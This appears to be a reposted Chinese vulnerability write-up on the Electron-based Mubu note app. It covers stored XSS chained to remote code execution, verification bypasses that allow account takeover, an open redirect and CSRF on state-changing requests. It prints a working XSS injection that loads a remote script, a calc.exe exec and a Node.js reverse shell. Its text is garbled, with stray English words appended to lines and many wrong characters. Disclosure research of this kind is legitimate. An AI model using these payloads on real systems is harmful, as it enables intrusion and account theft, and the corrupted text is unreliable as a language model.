幕布本人最先接觸是在P神的知識星球裏面看到P神推薦的,後來下了個用着還挺好用。html
以前一直都放一些零零散散的筆記,最近整理的時候,一時興起,本着漏洞源於生活的態度,遂對幕布的安全性作了些研究。git
幕布是一款頭腦管理工具,用更高效的方式和清晰的結構來記錄筆記、管理任務、制定工做計劃、頭腦風暴。用最好的方式釋放您的大腦!github
使人以爲舒服的是,就算是免費版也支持多平臺同步,相對比其餘軟件這個很良心了,還支持多種格式導出,支持腦圖演示。shell
早在17年,棟棟的棟師傅就對幕布的1.1.0版本進行了研究,發現了多個CSRF,如保存文檔,建立文件夾等。搜索框反射XSS,文件夾名XSS,文檔名稱XSS(在查看思惟導圖的時候觸發),暱稱存儲XSS等。windows
因爲幕布使用Electron來開發,致使咱們只要一個XSS便可執行任意命令。瀏覽器
根據棟師傅的文章,我測了一下,發現現階段1.1.9版本的搜索框XSS依舊可行。安全
一樣文件夾名的存儲XSS也是存在的,點擊文件夾便可觸發bash
文檔名XSS(在查看腦圖的時候觸發)這個已經修復了。微信
XSS到RCE其攻擊鏈以下:app
基於上面的瞭解,我知道幕布應該有多個功能點存在CSRF和XSS,找到漏洞並不難,難的是找到一個較爲完美的利用鏈。
棟師傅的分享文檔,暱稱XSS,建立文檔而後腦圖查看觸發,我感受這個利用鏈有點複雜,且PAYLOAD過於明顯。
通過一番思考,以爲攻擊點仍是應該放在分享文檔頁面中,這裏是與別人交互的惟一入口(目前來講)。
分享文檔頁面中包括了什麼呢?
經測試,頭像處作了過濾,暱稱的XSS也已經修復了,目標放到標題和正文。
標題一番測試以後也是過濾了,那麼只有正文了,爲了更好的測試,特意開了一個月的高級會員,高級會員能夠插入圖片,想經過圖片文件名的方式引入XSS,但發現被過濾了。
中間還測了幕布的標籤,但沒有效果。(留待白盒審計其解釋原理)
不放棄,繼續研究,看到保存文檔的請求包
會發現有一個叫id的參數,回到頁面,F12檢查,發現這個id值是做爲id屬性的值,做爲節點解析使用。
直覺告訴我這裏應該會有問題。閉合雙引號,div標籤,彈個框試一下。
好的,成功彈框了。
可是彈完以後,正文把後面錯亂的標籤代碼顯示出來了。
後面要作的就是把PAYLAOD完善,不讓錯亂代碼顯示出來,讓這個插入了惡意代碼的文檔表現的像一個正常文檔同樣。
並且這裏的觸發點堪稱完美,只須要用戶打開文檔,減小觸發的步驟。
經過分享文檔或者投稿到精選,其餘用戶登錄狀態下瀏覽,而後觸發XSS,直到在客戶端查看觸發RCE。
這裏有一個問題是分享連接都是公開的,別人不須要登錄便可查看,但爲了可以利用,咱們必須讓用戶登錄;
還有一個問題是用戶在PC的客戶端裏面沒辦法直接查看精選頁面和分享頁面,默認是經過PC瀏覽器打開頁面的。(PS:經過PC客戶端的」幕布精選」菜單訪問的話,會自動登錄上帳號,這裏還有一個任意URL跳轉的問題)
那麼是否能夠達到用戶點擊連接,就可以直接觸發RCE呢?
由於這裏存在跨端的問題,從瀏覽器跨到幕布客戶端,須要一個橋樑。我想到的橋樑是利用Custom URL Scheme來拉起幕布,讓幕布去渲染這個帶有XSS的文檔而後觸發RCE。
但逆向了一下幕布的源碼,發現它沒有註冊相關的URl,因此這個思路行不通,但不免幕布後續更新會加入本身的URL Scheme。
現階段只能是經過」自動同步」這個橋樑,將咱們的惡意文檔帶入到客戶端中去,而後等待用戶查看觸發了,這個點是最爲致命的點了。
根據現有情況,個人攻擊思路以下:
被動方式:用戶登錄態下,把咱們這個「豐富」的文檔保存到本身的帳號下,在客戶端查看時觸發RCE。
主動方式:建立一個登錄頁面的彈框,誘導用戶登陸,只容許其登錄以後訪問分享文檔。而後再利用XSS建立一個文檔,等待用戶在客戶端查看。
總結一下其利用鏈以下:
固然這裏是以RCE爲目的,也能夠XSS打帳號密碼等其餘方式,那樣就能夠隨時掌控用戶的帳號,查看其私密文檔,建立惡意文檔,等待其查看,觸發RCE,控制目標電腦。
分析講完了,下面是驗證過程,首先咱們須要讓文檔看起來是正常的,那麼就不能像以前的PAYLOAD同樣,得利用div標籤的事件來觸發。主要是onclick 和onmouseover事件。我這裏用的是onmouseover事件。
" onmouseover="s=createElement('script');body.appendChild(s);s.src='https://xsspt/xxx'
文檔看起來就跟正常文檔同樣,觸發的話須要用戶鼠標懸浮在DIV上面。Web端有no-referrer-when-downgrade限制,須要使用https的JS。客戶端則不用,最好直接用https的一了百了。
在windows客戶端打開,彈個計算器
彈計算器的代碼:
require('child_process').exec('calc.exe')
Mac客戶端,反彈個shell
反彈shell的代碼
var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect({set.port}, "{set.ip}", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});
關於electron rce 能夠在查看這篇文章
邏輯缺陷
繞過原手機號驗證,綁定新手機號,接管賬號
修改手機號正常流程是須要原手機號的驗證碼驗證的
但咱們正常走一遍流程,把綁定新手機號的請求抓出來會發現,根本不須要原手機號的驗證碼。
咱們剛開始的手機號爲132
第一步給要綁定的手機號發送驗證碼
第二部用獲取的驗證碼請求綁定
刷新設置頁面,會發現已經綁定成功了。
其中第一步任何其餘用戶發送便可,獲取到驗證碼,而後建立一個頁面,騙取目標用戶去訪問,利用CSRF攻擊,接管其帳號。
繞過微信驗證,解綁微信
好比咱們綁定了微信,就能夠用微信登錄了,正常解綁微信是須要,微信驗證一下的,可是咱們發現把解綁微信的請求抓出來,直接就能夠解綁了,且存在CSRF。
正常流程來講是這樣走的。
抓到解綁微信的請求以下:
而後發一下包就能夠解綁微信了
刷新設置頁面,發現已經解綁成功了
至於綁定微信,須要獲取state參數,須要發送請求,只能是XSS來利用了,因此有了XSS,我就能夠獲取這個state參數,本身構造參數綁定微信到目標用戶帳號上。
任意URL跳轉
主要是客戶端幕布精選跳轉到瀏覽器裏面自動登錄的請求:
在客戶端點擊」幕布精選」菜單,抓到這樣的請求:
https://mubu.com/client_redirect?token=xxx&next=/explore
其中next這個能夠填寫咱們本身的第三方連接,token正確與否沒關係,甚至去掉這個參數都會跳轉。
CSRF (所見之處皆可CSRF)
設置暱稱
設置暱稱的請求爲POST請求:
但修改成GET請求,同樣能夠。
經測試原來全部修改,添加,更新操做爲POST的請求,均可以用GET請求來發送。
建立文檔
這裏只能夠用來建立一個空的文檔,建立一個有內容的文檔須要通過幾個步驟,須要有XSS才能建立有內容的文檔。
綁定手機號
解邦微信
這篇文章記錄了對幕布安全性的研究和一些攻擊思路,上述全部漏洞均已報備幕布官方,請勿用做非法攻擊。
有些圖看不太清,放個原版文檔連接
博客佔坑~